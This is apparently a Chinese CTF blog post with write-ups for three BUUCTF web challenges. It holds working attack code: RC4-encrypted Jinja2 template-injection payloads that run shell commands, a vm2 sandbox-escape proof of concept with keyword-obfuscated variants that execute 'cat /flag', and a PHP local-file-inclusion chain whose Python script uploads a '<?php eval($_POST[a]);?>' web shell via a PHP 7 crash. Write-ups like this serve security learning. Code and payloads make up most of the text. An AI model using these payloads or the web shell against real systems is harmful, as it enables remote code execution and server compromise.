buuctf21

[CISCN2019 华东南区]Double Secret

猜出目录是secret,然后参数也是secret
接下来输入参数发现每次参数的回显是不一样,像是有某种加密发现输入的字符比较多的时候就会报错了

if(secret==None):
return 'Tell me your secret.I will encrypt it so others can\'t see'
rc=rc4_Modified.RC4("HereIsTreasure") #解密
deS=rc.do_crypt(secret)

a=render_template_string(safe(deS))

if 'ciscn' in a.lower():
return 'flag detected!'
return a

感觉这是其中一个比较有用的信息,涉及了解密内容

注意关键点:

a=render_template_string()函数说明可以渲染我们输入的参数,也就是说存在ssti注入

所以接下来的关键是利用rc4加密的密文,将我们的payload进行加密后输入,接下来就会自动进行解密,就会执行我们的payload了~

网上找的加密脚本:

import base64
from urllib import parse
def rc4_main(key="init_key",message="init_message"):
s_box=rc4_init_sbox(key)
crypt=str(rc4_excrypt(message,s_box))
return crypt
def rc4_init_sbox(key):
s_box=list(range(256))
j=0
for i in range(256):
j=(j+s_box[i]+ord(key[i%len(key)]))%256
s_box[i],s_box[j]=s_box[j],s_box[i]
return s_box
def rc4_excrypt(plain,box):
res=[]
i=j=0
for s in plain:
i=(i+1)%256
j=(j+box[i])%256
box[i],box[j]=box[j],box[i]
t=(box[i]+box[j])%256
k=box[t]
res.append(chr(ord(s)^k))
cipher="".join(res)
return(str(base64.b64encode(cipher.encode('utf-8')),'utf-8'))
key="HereIsTreasure"
message=input("请输入明文:\n")
enc_base64=rc4_main(key,message)
enc_init=str(base64.b64decode(enc_base64),'utf-8')
enc_url=parse.quote(enc_init)
print("rc4加密后的url编码:"+enc_url)

用手打了一次,还是学到了些东西的
然后输入

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()")}}{% endif %}{% endfor %}

即可查看到目录

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('cat flag.txt').read()")}}{% endif %}{% endfor %}

[HFCTF2020]JustEscape

下面有提示 让我们到run.php里面输出code于是——
img

以为是ssti注入所以输了点内容,发现后面出了这玩意?
error.stack 属性是一个字符串,描述代码中 Error 被实例化的位置
输入Error().stack
得到:

Error at vm.js:1:1 at Script.runInContext (vm.js:131:20) at VM.run (/app/node_modules/vm2/lib/main.js:219:62) at /app/server.js:51:33 at Layer.handle [as handle_request] (/app/node_modules/express/lib/router/layer.js:95:5) at next (/app/node_modules/express/lib/router/route.js:137:13) at Route.dispatch (/app/node_modules/express/lib/router/route.js:112:3) at Layer.handle [as handle_request] (/app/node_modules/express/lib/router/layer.js:95:5) at /app/node_modules/express/lib/router/index.js:281:22 at Function.process_params (/app/node_modules/express/lib/router/index.js:335:12)

可以发现是一个js的vm沙盒
直接找原型利用链来打就行

最新的沙箱逃逸的poc。
https://github.com/patriksimek/vm2/issues/225

 '(' + function(){
TypeError.prototype.get_process = f=>f.constructor("return process")();
try{
Object.preventExtensions(Buffer.from("")).a = 1;
}catch(e){
return e.get_process(()=>{}).mainModule.require("child_process").execSync("whoami").toString();
}
}+')()';
try{
console.log(new VM().run(untrusted));
}catch(x){
console.log(x);
}

但是因为有过滤,所以需要绕过,可以加上反引号进行绕过:

/run.php?code=(()=%3E{%20TypeError[[`p`,`r`,`o`,`t`,`o`,`t`,`y`,`p`,`e`][`join`](``)][`a`]%20=%20f=%3Ef[[`c`,`o`,`n`,`s`,`t`,`r`,`u`,`c`,`t`,`o`,`r`][`join`](``)]([`r`,`e`,`t`,`u`,`r`,`n`,`%20`,`p`,`r`,`o`,`c`,`e`,`s`,`s`][`join`](``))();%20try{%20Object[`preventExtensions`](Buffer[`from`](``))[`a`]%20=%201;%20}catch(e){%20return%20e[`a`](()=%3E{})[`mainModule`][[`r`,`e`,`q`,`u`,`i`,`r`,`e`][`join`](``)]([`c`,`h`,`i`,`l`,`d`,`_`,`p`,`r`,`o`,`c`,`e`,`s`,`s`][`join`](``))[[`e`,`x`,`e`,`c`,`S`,`y`,`n`,`c`][`join`](``)](`cat+%2fflag`)[`toString`]();%20}%20})()

还有一种方式是将关键字(比如prototyp)改为:${${prototyp}e}

(function (){ TypeError[`${`${`prototyp`}e`}`][`${`${`get_proces`}s`}`] = f=>f[`${`${`constructo`}r`}`](`${`${`return this.proces`}s`}`)(); try{ Object.preventExtensions(Buffer.from(``)).a = 1; }catch(e){ return e[`${`${`get_proces`}s`}`](()=>{}).mainModule[`${`${`requir`}e`}`](`${`${`child_proces`}s`}`)[`${`${`exe`}cSync`}`](`cat /flag`).toString(); } })()

payload分析:

刚学node.js的沙箱逃逸啥也编不出来,于是就用payload来分析一下

 '(' + function(){
TypeError.prototype.get_process = f=>f.constructor("return process")();
try{
Object.preventExtensions(Buffer.from("")).a = 1;
}catch(e){
return e.get_process(()=>{}).mainModule.require("child_process").execSync("whoami").toString();
}
}+')()';
try{
console.log(new VM().run(untrusted));
}catch(x){
console.log(x);
}

参考:

https://tothemoon2019.github.io/2020/10/21/%E7%AC%AC%20%E4%BA%94%20%E5%91%A8%20write%20up%20%5B%5BHFCTF2020%5DJustEscape%20%5BBJDCTF2020%5DEasySearch%20HCTF-2018-Web-warmup%5D/
https://github.com/patriksimek/vm2/issues/225

[NPUCTF2020]ezinclude

查看源码,看到cookie 直接传pass

img

然后进去,抓包才能看到其他信息img

看到文件包含就要想到伪协议!:

php://filter/read=convert.base64-encode/resource=flflflflag.php
<html>
<head>
<script language="javascript" type="text/javascript">
window.location.href="404.html";
</script>
<title>this_is_not_fl4g_and_出题人_wants_girlfriend</title>
</head>
<>
<body>
<?php
$file=$_GET['file'];
if(preg_match('/data|input|zip/is',$file)){
die('nonono');
}
@include($file);
echo 'include($_GET["file"])';
?>
</body>
</htmlPgo

过滤了data和input不能用命令执行了,也不能直接写入文件

PHP7.0bug

php7.0的bug:

?file=php://filter/string.strip_tags/resource=/etc/passwd

使用php://filter/string.strip_tags导致php崩溃清空堆栈重启,如果在同时上传了一个文件,那么这个tmp file就会一直留在tmp目录,再进行文件名爆破就可以getshell。这个崩溃原因是存在一处空指针引用。

该方法仅适用于以下php7版本,php5并不存在该崩溃。

• php7.0.0-7.1.2可以利用, 7.1.2x版本的已被修复

• php7.1.3-7.2.1可以利用, 7.2.1x版本的已被修复

• php7.2.2-7.2.8可以利用, 7.2.9一直到7.3到现在的版本已被修复
import requests
##BytesIO实现了在内存中读写bytes
from io import BytesIO
import re
payload = "<?php eval($_POST[a]);?>"
#BytesIO(payload.encode()).getvalue()
data={
'file': BytesIO(payload.encode())
}
url="http://a06f9704-b58f-4b3a-b85c-5ad42d0b8833.node4.buuoj.cn/flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd"
try:
r=requests.post(url=url,files=data,allow_redirects=False)
except:
print("fail!")

python运行脚本即可,然后读dir.php中看一下文件名,接下来使用文件包含即可
img

Author

vague huang

Posted on

2021-07-10

Updated on

2021-07-13

Licensed under

Comments